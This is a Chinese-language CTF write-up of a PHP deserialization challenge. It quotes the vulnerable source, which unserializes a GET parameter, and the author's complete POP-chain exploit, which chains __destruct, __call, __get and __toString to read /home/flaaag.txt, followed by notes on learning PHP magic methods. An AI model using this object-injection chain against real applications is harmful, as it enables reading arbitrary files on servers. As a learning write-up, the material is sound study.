新生赛一道web题的最后一步是这样的:给了你php源码:
<?php
error_reporting(0);
/*
* flag in /home/flaaag.txt and go to flag.php
*
*/
class A extends service {
public $event;
function __construct($event) {
$this->event = $event;
}
function __destruct() {
$flag = $this->event["name"];
return $this->$flag();
}
}
class read {
public $filename;
function __construct($filename) {
$this->filename = $filename;
}
function __toString() {
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
} else {
$res = "nonononono";
}
return $res;
}
}
class test {
public $file;
function __construct($f) {
$this->file = $f;
}
function __get($txey) {
echo $this->file;
}
}
class service {
public $server;
public $str;
function __call($method, $args) {
if (is_string($this->server->str)) {
echo "hello" . $method . $this->server->str;
} else {
die("");
}
}
}
if (isset($_GET["cmd"])) {
unserialize($_GET["cmd"]);
} else {
echo "now get flag!";
}
just a test!试试tmp下的hint.php呗
大概就是通过在xxxx/flag.php后加get值cmd,并通过反序列化漏洞把/home/flaaag.txt里面的文本打印出来。
因为不会php,学了一早上php,看了半个下午CTFER从0到1里的反序列化漏洞(还没看完),再码了半个下午exploit,终于a出来了。exploit如下:
<?php
/*思路:
* A调用test打印read
*
*/
class test {
public $file;
function __construct($f) {
$this->file = $f;
}
function __get($txey) {/
echo $this->file;
}
}
class read {//obj.read(flag.txt)可以返回flag.txt里面的文字
public $filename;
function __construct($filename) {
$this->filename = $filename;
}
function __toString() {
if (isset($this->filename)) {
$res = file_get_contents($this->filename);
} else {
$res = "nonononono";
}
return $res;
}
}
class service {
public $server;
public $str;
function __call($method, $args) {
if (is_string($this->server->str)) {//server是一个对象,str鬼知道是什么
echo "hello" . $method . $this->server->str;
} else {
die("");
}
}
}
class A extends service {
public $event;//数组,键值对
function __construct($event) {
$this->event = $event;
}
function __destruct() {
$flag = $this->event["name"];
return $this->$flag();
}
/*
event=("name"=>"function_name")
那么类A被销毁的时候会执行function_name()函数,这也是exploit的切入点
*/
}
$r=new read("/home/flaaag.txt");//直接访问r的时候会返回flag文本
$t=new test($r);//在其他地方访问t.file时就会打印flag
$event=array("name"=>"notexist");
$a=new A($event);
$a->server=$t;//t中的str不存在,调用了t中的__get()方法
echo urlencode(serialize($a));
?>
最后是在c.runoob.com/compile/1/ 跑的代码
记录几个坑人的地方:
1.php变量名前面要加$,真烦,错了好多次
2.php对象的子集连接符号是"->",因为之前学java,老打成"."
3.这个我现在还没搞懂:就是最后是用test中的方法打印的flag,但是不知怎的又和server中的echo扯上了关系。而test中__get()方法居然能在没有protected和private属性的时候被调用。这我可受不住。。
4.睡了一觉终于搞懂3了。如果访问对象中不存在的属性时也会调用__get()方法,这是我在别人的一段代码里看到的。
事实上,如果仔细看手册的话不会有问题,原文如下:
读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。